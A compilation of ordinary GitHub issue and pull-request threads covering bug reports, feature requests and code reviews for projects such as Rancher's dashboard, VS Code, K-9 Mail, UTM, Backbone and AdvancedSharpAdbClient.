unset JIRA_RESOLVED_STATUS
python exporters/failure/app.py

/lgtm


Show warnings when user tries to create namespace in a project with no remaining resource capacity

This bug is something that happens after a namespace is added to a project whose resource quota is already exceeded. It isn't useful to let someone create a namespace with a negative allotment of resources because then they can't use it.
It would be better to show a message that explains that the project's resource limit has been exceeded. Then the user would be able to understand why the UI won't let them set a namespace limit higher than 0 or a negative number. Something like:

The limit has been set to [0 or negative remainder here] because the project resource quota is at capacity. To add a resource quota to a new namespace, increase the project resource quota or decrease the resource limit of other namespaces in the project.

Steps to reproduce:

Create a project test-project. In the Resource Quotas section, create a CPU Limit with a resource limit of 1000 mCPUs and a Namespace Default Limit of 1000 mCPUs.
Create a namespace in test-project with a resource quota of a 1000 mCPU limit. (You will see the Project Resource Availability bar is at 100 percent, showing that you are filling the whole project quota as you create that namespace.)
Create a separate project with a project limit for CPU and a default resource limit for the namespace CPU. In that other project, create a namespace in which the Namespace Default Limit is a positive number such as 1000 mCPUs.
Move that namespace from the second project into test-project.  Then go to that namespace and click Edit Config. You can see that the namespace's limit has apparently been decreased from the positive number to 0.
Go to test-project and click Create Namespace. You will see that the default limit of the new namespace is in the negative numbers. This negative number is equal to the remaining CPU limit of the project before the new namespace was added (0) minus the amount of CPU that was allocated to the namespace that was moved into the project, resulting in a negative number.

Suggested changes

At the very least, the UI should be consistent - if the newly added namespace had its limit decreased to 0, the total remaining quota of the project should not be negative.
If you try to move a namespace with a resource limit that exceeds what is available in the project that you are moving it into, the UI should warn you that the project resource limits are at capacity
The UI should also show some kind of message when you create a namespace and the available limit is 0 or negative. There has always been confusion around how project resource quotas work, so the namespace creation form should have a sentence explaining how that limit was calculated.
If the UI limit for the namespace is less than the default namespace limit for the project you are trying to create the namespace in, the UI should explicitly tell you "The namespace limit is lower than the default namespace limit because the project has limited resource capacity"
The project create/edit form could explain to the user that when they add new resource limits to a project, they will be applied to new namespaces in the project, but that editing the project will not affect existing namespaces or existing workloads.

I have also opened a separate issue for the UI not letting you delete a project resource quota. https://github.com/rancher/dashboard/issues/5173

One thing that the backend needs from the frontend for resource quotas to be in a goo state:
The frontend should not calculate the current and remaining balances of resource quota based on annotations on namespaces.
Here is one scenario:
A project has a limit of 500 total and 300 per namespace default (of some resource).
I make a namespace ns1 in the UI that wants and gets 300.
Then I make a namespace ns2 via kubectl that wants 300, but gets 0, because there is only 200 remaining.
Then I make a namespace ns3 in the UI that wants 300 and should get the remaining 200 (this behavior is intentional when a request is made via UI). But the UI calculates the remaining as -100.
The backend does not let -100 through and assigns 0. But there is still 200 available in the project, technically.
This happens because the backend always sets the requested quota annotation on the backend. But the UI uses it to calculate actual balances.

OK, I have updated https://github.com/rancher/dashboard/issues/5188 to say that the UI needs to stop using annotations to calculated remaining capacity, because as you said, that indicates what was requested, not necessarily what was received.

Also, the same is relevant for container resource limits - the UI reads the annotation and shows the number in the UI, while a namespace may not have any limit ranges.

Before we work on this, we should figure out if this is a UI or backend bug. At the very least, we should know if the UI can detect that an error state would be in place in Create, so we would need to stop at the validation stage (which may be hard) or then at the error state. Would we know the state at validation or is this come from the backend?


Relate skills with test tasks

Create belongs_to Skill relation at TestTask.
Create a data migration that will update all existing test tasks to be related to Ruby skill.
Add select to choose test task skill at edit form.
On screening start operation select only those test tasks, that are related to user's primary skill.

It depends on #155 issue. Please contact @gidpoiiohika for more info about the state of his task

@ValentinAndreev ^^

@ValentinAndreev ping, any updates?

Мне там переделать надо будет. С учетом изменений, а то сделал primary_skill а он уже сделан.


Handle no primary plan (and fix spelling)

@jgerigmeyer can you help me with the test for the new branch?

@jgerigmeyer I can't approve my own PR but it looks good to me.


Upgrade to Scala Native 0.3.7

Accepted benchmarking 868ad1b. This may take a while.

Finished benchmarking 868ad1b.

Benchmark
Before
After

RscNativeTypecheck
73.130 ms
72.092 ms

RscTypecheck
26.287 ms
26.846 ms

Full results are available at https://github.com/twitter/rsc/commit/a93592b7e7764b6aa722dc9e842c9f168615cd38.

@rscbenchbox Neato. Looks like the 27ms hot typecheck result in https://github.com/twitter/rsc/pull/82 was just a fluke.


Double workspace trust prompt

Open an untrusted folder, click Trust Folder & Continue

🐛 Another trust prompt appears:

Even though similar to https://github.com/microsoft/vscode/issues/155383, it's a different set of prompts. Feels like a separate issue.

what are the 2 prompts?

and then

I don't understand the difference between this and the other issue filed

Well, for starters, it's a different dialog:

Second, the steps are different. In this one, all you have to do is open an untrusted folder. In the other, you have to open an untrusted file from within a trusted folder.

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!

Still need info here?

I will take a look at this next milestone.

@joaomoreno, are you still able to reproduce this issue as I believe that this should be fixed now.


The metronic version has 3.x, how about to update this project?

The metronic version has 3.x, how about to update this project?

It planned a new version

thank you

you can look at this project.
https://github.com/dlds/yii2-metronic

thank you


bug(docs): md-paginator overview/examples aren't responsive

Bug, feature request, or proposal:
Bug.
What is the expected behavior?
What is the current behavior?
Here's how the layout fits in mobile:

What are the steps to reproduce?
Providing a Plunker (or similar) is the best way to get the team to see your issue.
Plunker template: https://goo.gl/DlHd6U
What is the use-case or motivation for changing an existing behavior?
Which versions of Angular, Material, OS, TypeScript, browsers are affected?
Is there anything else we should know?

Fixed in #7610


Make I-D xml2rfc anchor attribute formatting logic part of the service, don’t use docid for that anymore

For 2 and 3, I do not think we need to retain the old anchors. For legacy paths that depend on those anchors, we can already identify the anchor names from the legacy path itself and generate that anchor for those retrievals.
@rjsparks @kesara could this be confirmed? Thanks!

(mistakenly closed...)

This means someone using the non-legacy paths to obtain bibxml will get a different document than someone using the legacy paths? That dos not seem right. Can you expand the question a little more for me?

This means someone using the non-legacy paths to obtain bibxml will get a different document than someone using the legacy paths? That dos not seem right. Can you expand the question a little more for me?

I believe the only difference would concern anchor values:

If XML is requested via xml2rfc-style API, we would derive those values from requested xml2rfc filename (using filename as anchor, possibly with some munging).
If XML is requested via regular API (non-xml2rfc path), the anchor would be derived from primary document identifier in that case.

Looking at xml2rfc spec, anchor is expected to be used for human-readable labeling and internal links within a document. If it’s not used for external linkage, I wonder whether changing the anchor slightly would break anything…

This means someone using the non-legacy paths to obtain bibxml will get a different document than someone using the legacy paths? That dos not seem right. Can you expand the question a little more for me?

It's not exactly that, instead:

someone using the non-legacy paths to obtain bibxml may get a different "anchor" than someone using the legacy paths

The following reasons explain why we think this is the correct move moving forward.
Note: the current implementation already returns correct anchors for legacy paths. This topic is about how to retain identical behavior by cutting down code and stored data requirements.

Users who use legacy paths will see an anchor identical to that of today. There is no change to this behavior.
People who use the new API will obtain an anchor of their choice, as previously agreed, because the URL will include specification on what the anchor is.

Use case 1 is the legacy paths. We currently use the bibxml-data-archive repo to achieve this. As @strogonoff pointed out, some "anchors" are manually assigned -- they have nothing to do with the filename or the identifier of the underlying information resource.
The purpose of this issue is to migrate the "URL/filename" to "anchor" mapping to the mapping repository (in addition to the "URL/filename" mapping to the canonical document identifier).

someone using the non-legacy paths to obtain bibxml may get a different "anchor" than someone using the legacy paths

Yes, and that is correct behavior. Users from use case 1 can get an anchor different from that of use case 2, depending on the chosen anchor of the user of use case 2.
Hope this clarifies!

This seems to be right.


ipodtouch0218: Watch educatorshub13

ipodtouch0218 requests the watch of the watch_keyword educatorshub13. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

educatorshub13 has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by Fastnlight in Charcoal HQ


Possible failure of Clinical Outcome module on Custom Sample Group

Sample Group Survival report error on an example file
https://raw.githubusercontent.com/CRI-iAtlas/shiny-iatlas/develop/data/example_user_group2.csv
selecting COAD
Loading of file,  and other modules appear normal.

@Gibbsdavidl can you help evaluate the status of this and tag/close/assign accordingly. Thanks

Oh, fixed it!
The fix and some improvements are in the surv_group_fix branch.

Would be good if someone tested it.

@Gibbsdavidl This fix is conflicting with the current develop branch. Could you merge develop into your surv_group_fix branch and resolve that?

Did the test on surv_group_fix branch and it looks good to me


Inventory panel remotes (any) not opening GUI

Issue Description:
Exactly the same as closed issue #3644 , Remote not opening GUI when used.
What happens:
Any inventory panel remote fails to open a connection to the target inventory panel, but uses it's fluid each time it is attempted.
What you expected to happen:
Works as intended
Steps to reproduce:

craft or cheat in any inventory panel remote
crouch+right-click functioning inventory panel with remote to set target (prints "target set")
attempt to use the remote, note that fluid decreases with each attempt, but RF doesn't and GUI doesn't open
...

Affected Versions (Do not use "latest"):

EnderIO: 1.10.2-3.1.187
EnderCore: 1.10.2-<IP_ADDRESS>-beta
Minecraft: 1.10.2
Forge: 1.10.2 - <IP_ADDRESS>1

Your most recent log file where the issue was present:
I read the closed issue and saw that there should be an error in the log (Unexpected failure to get tileentity at BlockPos), but it's not there. is there a flag I need to flip in the config to display this error in the minecraft log?

You most probably have a different problem than the original one. Let me check if there's a general problem caused by the latest cleanup. If not, I'd ask you to reproduce the problem with a minimal set of other mods installed (assuming it won't happen for you with just Ender IO).

Found it, it was a general problem. Fixed in next build.


SDL2 panic: vert_shdr failed to compile

@strangebroadcasts we have a problem
macOS Sierra 10.12.1
go version go1.8 darwin/amd64
$ nk-example-sdl2

2017/03/28 13:38:58 SDL2: created window 400x500
panic: vert_shdr failed to compile

goroutine 1 [running, locked to thread]:
github.com/golang-ui/nuklear/nk.deviceCreate()
	/Users/xlab/Documents/dev/go/src/github.com/golang-ui/nuklear/nk/impl_sdl2_gl3.go:150 +0x580
github.com/golang-ui/nuklear/nk.NkPlatformInit(0x461e8f0, 0x47d20c0, 0x1, 0x2)
	/Users/xlab/Documents/dev/go/src/github.com/golang-ui/nuklear/nk/impl_sdl2_common.go:45 +0x91
main.main()
	/Users/xlab/Documents/dev/go/src/github.com/golang-ui/nuklear/cmd/nk-example-sdl2/main.go:49 +0x3e6

OpenGL 2 version works at least, buggy at the moment.

Looking into it.

For some reason I forgot to explicitly request the core profile - what happens if you add these lines?
re: OpenGL 2 bugginess, I don't have a Mac on hand to test, but I'll try to find one.

@strangebroadcasts you can build sdl2+opengl2 using -tags "opengl2 sdl2" jfyi

Glad to see it works now :)


[ 5.701 ] after import settings, unfortunately, k-9 mail has stopped

Expected behavior
Tell us what should happen
open app
Actual behavior
displays message unfortunately, k-9 mail has stopped
Steps to reproduce

open app
tap import setting
tap later

Environment
K-9 Mail version: 5.701
Android version: 5.1
Account type (IMAP, POP3, WebDAV/Exchange): IMAP
Please take some time to retrieve logs and attach them here:
dont have access to desktop or laptop

Same on Pixel 2 / Android 10.

Same here
K-9 Mail version: 5.701
Android version: 8.1
Account type (IMAP, POP3, WebDAV/Exchange): IMAP

@HagenTronje @ouafnico
if you have access to desktop or laptop, please retrieve logs

I didn't reproduice the bug after upgrade 5.600 to 5.701.
I only had when starting a fresh 5.701 install.
Unfortunatly I can not retrieve logs right now but I will try on another impacted phone.

I had a similar (same?!) issue when upgrading from 5.700 to 5.701. I'm attaching the relevant logs.
It happened only when displaying the Gmail account. As it was my default account, I could not start K9 from the drawer. I had to create a widget and launch it to another account's inbox.
I deleted my Gmail account, manually added it back, now everything works. As it worked in 5.700 and I didn't change anything in the Gmail account myself, maybe this can point others in the right direction.
k9-log.txt

@HagenTronje @ouafnico
if you have access to desktop or laptop, please retrieve logs

Sorry!
I am dependent on a working MUA on my phone so i re-installed k-9 V5.6 immediately after i recognized that V5.701 failed to work.

Duplicate of #3691


chore: Added Python Tutorial

Changes proposed
Added Python Tutorial

Screenshots

Note to reviewers

Please add the issue that this PR solves. Refer to the Contributing file to help you. Once that’s done, your PR will be opened.

Sorry I forgot to use correct the format of PR, fixed it.

@CBID2

@CBID2

Close @navharsh. We need the issue number

Can't I directly add links through PR since I have done so in the past in Linkshub ?

@CBID2

It seems that you haven't raised an issue for this link @navharsh. The PR will remained closed until you do.

Can't I directly add links through PR since I have done so in the past in Linkshub ? @CBID2

Sorry @navharsh. Linking your PR to an issue is apart of the contributing protocol.

Can't I directly add links through PR since I have done so in the past in Linkshub ? @CBID2

Sorry @navharsh. Linking your PR to an issue is apart of the contributing protocol. It's to prevent duplicates from being created.

I didn't knew about the new protocol, just added the issue.


Update some UI images

please also update the private amount numbers here
https://github.com/WalletWasabi/WasabiDoc/blob/26821e546cadb90b6c42af4a2f4bb009c3ff6f3a/docs/FAQ/FAQ-UseWasabi.md?plain=1#L745
to have it match the new privacy progress image


VM loses network connectivity on Emulated VLAN after some time

Describe the issue
I'm experiencing network problems when using Emulated VLAN for a forwarded port for ssh.
It works fine for some time, but then it becomes unresponsive. Network fails. Ping normally works, but then stops working:
ping <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
From <IP_ADDRESS> icmp_seq=1 Destination Host Unreachable
From <IP_ADDRESS> icmp_seq=2 Destination Host Unreachable
From <IP_ADDRESS> icmp_seq=3 Destination Host Unreachable

and incoming ssh connections fail.
Sometimes the VM also becomes unresponsive. Ubuntu still renders the cursor on mouse movement, but the window doesn't respond to mouse or keyboard input.
Restarting the VM usually solves the problem, but occasionally the problem is immediately apparent.
Edit: Possible workaround
After a lot of experimentation, I noticed that the screen would turn black, and possibly caused by power saving settings.
Perhaps this is solved by explicitly disabling power saving (in KDE Plasma):

Edit 2:
Still suffers from the UI crashing, but the VM is responding over ssh.
Configuration

UTM Version: 4.4.5
macOS Version: 14.3
Mac Chip (Intel, M1, ...):  M1

I've tried removing VirtFS and Display.
Using QEMU (not Virtualization Framework).
Crash log
Debug log
Upload VM

Sometimes the VM also becomes unresponsive. Ubuntu still renders the cursor on mouse movement, but the window doesn't respond to mouse or keyboard input

This also happens to me, usually after running for > 2 weeks. This is also correlated to a memory leak in UTM/QEMU, which could be related. Sometimes, just waiting fixes the problem, sometimes a restart is needed.
The reason the cursor still works is because, as far as I know, the cursor is drawn by the display, not the virtualized OS, so it is unaffected by the crash.
For me (I don't know what it is like for you), the crash affects both the UI, and the VM (I can't ssh into it from the host).

I have this issue too, QEMU with Linux guest, but with Shared Network.
The issue appears in less than an hour.

I have it occasionally with UTM 4.5.4


Any view options[attr] that is instanceof Model/Collection assigned to view[attr], not just options.model or options.collection

Backbone.View._configure modified so that any Backbone.Model or Collection is bound to the root of the view.
in other words, either of these work:
var view = new Backbone.View({
  model: new Backbone.Model,
  collection: new Backbone.Collection
});

console.log(view.model instanceof Backbone.Model); // returns true
console.log(view.collection instanceof Backbone.Collection); // returns true

var view = new Backbone.View({
  someModel: new Backbone.Model,
  someCollection: new Backbone.Collection
});

console.log(view.someModel instanceof Backbone.Model); // returns true
console.log(view.someCollection instanceof Backbone.Collection); // returns true

Would it be more appropriate to directly apply objects within a view's initialize function?
What is the benefit of directly attaching all instances of BB.Model and BB.Collection to the view?
Just wondering why this would be used as opposed to the current implementation..


Create better documentation

Sections:

About

[x] Introduction
[x] Consulting and Support
[x] Licence

Getting started

[x] Installation
[x] Connecting to device
[x] Working with lib

Reference

Screen automation

[ ] Find elements
[ ] Click on an element
[ ] Swipe
[ ] Type text
[ ] Send key events
[ ] Dump xml hierarchy
[ ] Create screenshots

Device commands

[ ] Install applications
[ ] Starting applications
[ ] Working with files
[ ] Run shell commands
[ ] Forward connection

Tutorials

[ ] Automate multiple Nox emulators

Docs created using docsify and docsify-darklight-theme
To serve docs use docsify http server
# Install docsify
npm i docsify-cli -g

# Serve docs
docsify serve docs

Or using any other http servers. Example with python:
cd docs && python -m SimpleHTTPServer 3000

# OR

cd docs && python -m http.server 3000

It will be better to have a new repo to write doc.
And repo wiki is here...
https://github.com/SharpAdb/AdvancedSharpAdbClient/wiki

It will be better to have a new repo to write doc. And repo wiki is here... https://github.com/SharpAdb/AdvancedSharpAdbClient/wiki

i thinks it's ok to have docs here because github pages domain will be AdvancedSharpAdbClient.github.io

It is better to not use var in document. Using var will make it unclearly.

i thinks it's ok to have docs here because github pages domain will be AdvancedSharpAdbClient.github.io

AdvancedSharpAdbClient.Documents.github.io

ok i'll move later


Add nuget deployment automation to the pack action

Tested as much as I could without doing an actual push to nuget. Should work (copied implementation from osu-queue-processor).

Have tested on my fork repo and had to push some changes to get it fully working.


Getting left and top values in custom events

Can i get the left and top values somehow from my component in handleActivated, handleDragging and handleDropped functions?

Currently no.
You can offer a PR or wait a few days until I make this functionality.

Hey, is this feature already present?


HTTP client support

It makes a lot of sense to have HTTP & WebSocket client & server support so that one can build complete "REST APIs" buzzword overload both serving data but also downloading data. It also makes the code more symmetric and allows one to write better HTTP tests against the server.

We would love to see support for HTTP2. Is that on the roadmap at all? crosses fingers

If you want a good HTTP2 server you could look at h2o.

Is there any progress on this? Anywhere we could help out?
We're trying to use the client api in C++ land to avoid the boost dependencies that other libraries are introducing with their toolchain.

@brycejacobs Are you doing C++ on Windows? I'm guessing based on your disapproval of boost?
Nope, this is very low prio and currently just a reminding note. You should be fine with any client library since clients are, well, clients.

My project needs WebSocket client support, so +1. We don't need any general HTTP client API, though, so even something that was hardwired to just send a WebSocket connection request would be fine by me.

WebSocket client support is in 0.10.0 and forward

While I agree that HTTP[/2] support would be handy as a backup, maybe that should be an external wrapper?
"Do one thing well"


Check init of private fields in the same package

What this PR does:
To check initialization in common constructors, e.g.
type MyType struct {
	_msgpack struct{} `msgpack:",as_array"`
	name string
	value int
}

func NewMyType() MyType {
	return MyType{
		name: "foo",
		value: 10,
	}
}

PS: Fields starting with underscores are ignored
Signed-off-by: Ji-Ping Shen<EMAIL_ADDRESS>

Thanks, I created #10 for this fix with tests and without the ignore for fields starting with underscore

Thanks, I created #10 for this fix with tests and without the ignore for fields starting with underscore